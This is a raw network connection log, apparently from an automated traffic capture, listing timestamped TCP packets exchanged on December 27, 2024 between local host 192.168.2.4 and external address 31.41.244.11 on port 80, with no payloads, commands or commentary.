Dec 27, 2024 08:46:32.356808901 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.356858969 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.357830048 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.357870102 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.357907057 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.357907057 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.358906984 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.358977079 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.359014034 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.359061003 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.359972000 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.360028982 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.360047102 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.360095978 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.360991955 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.361051083 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.361054897 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.361092091 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.362021923 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.362088919 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.362118006 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.362164021 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.363126993 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.363198996 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.363238096 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.363296986 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.364168882 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.364233017 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.364274025 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.364326954 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.365269899 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.365330935 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.365370989 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.365413904 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.366314888 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.366368055 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.366400003 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.366447926 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.367386103 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.367444038 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.367515087 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.367567062 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.368506908 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.368567944 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.368602991 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.368645906 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.369556904 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.369627953 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.369642973 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.369688034 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.370590925 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.370657921 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.370706081 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.370750904 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.371680021 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.371754885 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.371763945 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.371810913 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.372745037 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.372807980 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.372838974 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.372884989 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.373800993 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.373862982 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.373927116 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.373976946 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.374891043 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.374954939 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.375016928 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.375061035 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.376017094 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.376079082 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.376178980 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.376230955 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.377033949 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.377087116 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.377130032 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.377177000 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.378093004 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.378154039 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.378191948 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.378240108 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.379178047 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.379241943 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.379281044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.379329920 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.380243063 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.380304098 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.380341053 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.380383968 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.381330967 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.381397963 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.381413937 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.381465912 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.382416964 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.382487059 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.382489920 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.382538080 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.383456945 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.383517027 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.383548975 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.383594990 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.384526014 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.384586096 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.384625912 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.384669065 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.385610104 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.385669947 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.385757923 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.385804892 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.386665106 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.386728048 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.386775017 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.386821985 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.387747049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.387803078 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.387864113 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.387909889 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.388822079 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.388884068 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.388917923 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.388962984 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.389894962 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.389955997 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.389992952 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.390038967 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.390969992 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.391010046 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.391061068 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.392050982 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.392113924 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.392139912 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.392184019 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.393110991 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.393171072 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.393260956 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.393305063 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.394197941 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.394260883 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.394294977 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.394341946 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.395262957 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.395319939 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.395350933 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.395396948 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.396341085 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.396405935 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.396437883 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.396486044 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.397401094 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.397470951 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.397507906 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.397557974 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.398472071 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.398528099 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.398601055 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.398647070 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.399544001 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.399610043 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.399646997 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.399693012 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.400628090 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.400696993 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.400734901 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.400787115 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.401676893 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.401748896 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.401808977 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.401870012 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.402761936 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.402826071 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.402858973 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.402908087 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.403841972 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.403902054 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.403933048 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.403979063 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.404897928 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.404947996 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.404961109 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.404989004 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.550513983 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.550570965 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.550611973 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.550652981 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.551028967 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.551079988 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.551115990 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.551160097 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.552087069 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.552129984 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.552283049 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.552328110 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.553160906 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.553219080 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.553241014 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.553287029 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.554229021 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.554275990 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.554316998 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.554372072 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.555299044 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.555347919 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.555388927 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.555485010 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.556370974 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.556472063 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.556493998 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.556536913 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.557462931 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.557507992 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.557549000 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.557594061 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.558511019 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.558553934 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.558634996 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.558727026 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.559568882 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.559616089 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.559678078 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.559719086 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.560677052 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.560720921 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.560806036 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.560844898 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.561816931 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.561860085 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.561942101 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.561980009 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.562814951 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.562860012 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.562900066 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.562936068 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.563872099 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.563920975 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.563954115 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.563988924 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.564954042 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.565000057 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.565041065 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.565079927 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.566000938 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.566054106 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.566092014 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.566133976 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.567106009 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.567148924 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.567215919 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.567255974 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.568157911 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.568197012 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.568253994 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.568294048 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.569236040 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.569283962 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.569361925 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.569403887 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.570305109 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.570362091 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.570411921 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.570453882 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.571377039 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.571434975 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.571475029 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.571516991 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.572491884 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.572541952 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.572581053 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.572622061 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.573513031 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.573559046 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.573571920 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.573611021 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.574655056 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.574701071 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.574733973 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.574770927 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.575678110 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.575726032 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.575761080 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.575798988 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.576735020 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.576777935 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.576829910 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.576869011 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.577795982 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.577842951 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.577920914 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.577961922 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.578896046 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.578939915 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.579014063 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.579052925 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.579991102 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.580040932 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.580081940 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.580121994 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.581068039 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.581114054 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.581228018 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.581269979 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.582140923 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.582184076 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.582268953 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.582314968 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.583209991 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.583255053 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.583348989 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.583396912 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.584295034 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.584361076 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.584451914 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.584496021 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.585335016 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.585397959 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.585443974 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.585486889 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.586393118 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.586443901 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.586497068 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.586536884 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.587596893 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.587649107 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.587744951 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.587789059 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.588563919 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.588613987 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.588674068 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.588716030 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.589602947 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.589653969 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.589719057 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.589761972 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.590682030 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.590725899 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.590791941 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.590831995 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.591773987 CET	80	49839	31.41.244.11	192.168.2.4
Dec 27, 2024 08:46:32.591825962 CET	49839	80	192.168.2.4	31.41.244.11
Dec 27, 2024 08:46:32.591887951 CET	80	49839	31.41.244.11	192.168.2.4
